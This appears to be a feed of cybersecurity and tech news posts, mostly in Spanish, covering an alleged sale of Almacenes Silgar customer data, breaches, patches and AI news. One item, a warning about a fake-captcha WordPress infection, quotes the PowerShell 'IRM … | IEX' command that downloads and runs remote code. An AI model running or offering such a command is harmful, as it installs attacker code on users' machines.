🇪🇸 🚨 SPAIN — ALLEGED SALESFORCE ADMIN ACCESS AND ~137K RECORDS FROM ALMACENES SILGAR FOR SALE
A threat actor on an underground forum claims to be selling a dataset of roughly 137,000 records tied to Spain's Almacenes Silgar, allegedly pulled through full admin access to the company's Salesforce Sales Cloud.
The actor claims the data includes:
• Customer accounts with names, contact names, tax ID numbers, emails and phones
• Billing addresses and preferred language
• Sales orders with buyer contact details, totals and payment status
• Delivery records and marketing consent fields
⚠️ Analyst Note:
If authentic, tax IDs plus billing and contact data enable invoice fraud and convincing phishing against Silgar's customers. The listing comes from a new forum account and describes the company inconsistently, which can point to a padded or recycled claim. It follows the wider wave of Salesforce-instance thefts. The claim has not been independently verified. Treat as an unverified threat-actor claim.
#DDW #DarkWeb #Spain #DataBreach #Salesforce #PII #ThreatIntelligence #CyberSecurity
Grupo BYOD afirma haber hackeado a Toyota
El grupo de ransomware BYOD ha afirmado presuntamente haber vulnerado los datos de Toyota , asegurando que obtuvieron información personal
https://t.co/2ZsMje31h4
SAP corrige cuatro fallas críticas CVSS 10.0
SAP ha parcheado cuatro fallas críticas con puntuación CVSS 10.0 que permiten ejecución remota de código y acceso no autorizado
https://t.co/jRugkwqtef
Trump elige al jefe de seguridad de Palantir para dirigir la debilitada agencia de ciberdefensa de EE. UU.
Donald Trump nominó a Michael LoSapio, jefe de seguridad de Palantir, para dirigir la CISA, la agencia de ciberdefensa civil de EE. UU.
https://t.co/nl7VciKyuQ
Siri tendrá memoria persistente
Apple implementará una memoria persistente en Siri para recordar datos de salud, relaciones y rutinas del usuario y personalizar las interacciones
https://t.co/ejaTezBXHW
Página web con WordPress infectada con falso captcha
Pide introducir el comando en PowerShell o CMD
❌IRM gitlab[].com/wiktor1992/5a7-c750-4e63-a8ef-b47c51850b86/-/raw/main/322-8a5e-1c6ee27902bd | IEX
Nunca, introduzcas ningún código en el terminal de una página web para completar un captcha (comprobación robot)
Meta lanza Muse Ember para programar y automatizar
Meta Muse Ember , su modelo de IA más pequeño y eficiente , diseñado para programar y automatizar tareas complejas mediante agentes
https://t.co/IQ8kXO8wbX
Filtración de datos en el boletín de SEGA expone 2,2 millones de correos electrónicos
SEGA informó que una brecha de seguridad en su proveedor de boletines, ARARA, expuso los correos electrónicos de 2.2 millones de suscriptores
https://t.co/xvS3Sortfp
Microsoft patenta alquiler de GPU para IA
Microsoft ha patentado un sistema para que los usuarios alquilen la potencia de su GPU para el entrenamiento de modelos de IA a cambio de dinero o software
https://t.co/IXjoQMEEH7
Los drivers AMD Radeon están desgastando los SSD: un fallo provoca miles de GB de escritos de forma innecesaria
AMD ha admitido un fallo en sus drivers Radeon que genera escrituras constantes e innecesarias en los SSD , provocando su desgaste prematuro
https://t.co/F25XMMaAfV
Claude AI borra accidentalmente el programa y las notas de un profesor de Derecho
William Baude, profesor de derecho de la Universidad de Chicago, informó que la IA Claude de Anthropic eliminó accidentalmente su programa de estudios actual y un año de notas de clase de derecho constitucional mientras realizaba una tarea sencilla de edición
https://t.co/HhhnqDbnpE
ModSecurity corrige dos fallos graves de salto de WAF y ejecución remota de código
Se han revelado dos fallos de alta gravedad en ModSecurity, el firewall de aplicaciones web (WAF) de código abierto compatible con Apache, IIS y Nginx
https://t.co/eJpDADG5Vd
EE. UU. prohíbe el exchange de criptomonedas MEXC por evasión de sanciones y vínculos con el cibercrimen
El Departamento del Tesoro de EE. UU. excluyó al exchange de criptomonedas MEXC Global del sistema financiero estadounidense por evadir sanciones
https://t.co/WeuhArbQBG
Ucrania desarticula una red de estafas con criptomonedas que robó 4,3 millones de euros
Las autoridades ucranianas, en colaboración con Alemania, arrestaron a cuatro personas implicadas en una red de centros de llamadas
https://t.co/NJxf5vCmoq
Foldable Flight: más de 100 aviones de papel para plegar, lanzar
Foldable Flight es una web que ofrece instrucciones gratuitas para crear 109 modelos de aviones de papel , con vídeos paso a paso y fichas
https://t.co/1kuEgexKl6
Abogado crea servidor IA privado con ocho GPU Nvidia V100 usadas
Un abogado construyó un servidor de IA privado utilizando ocho GPUs Nvidia V100 usadas para procesar archivos legales sin conexión y garantizar la privacidad
https://t.co/npkf0oOqV9
Disney usará IA para acelerar sus películas
Disney ha firmado una alianza con Adobe para desarrollar herramientas de IA personalizadas que agilicen la producción de contenido y el diseño de sus parques temáticos
https://t.co/ehZ7Y8i3c7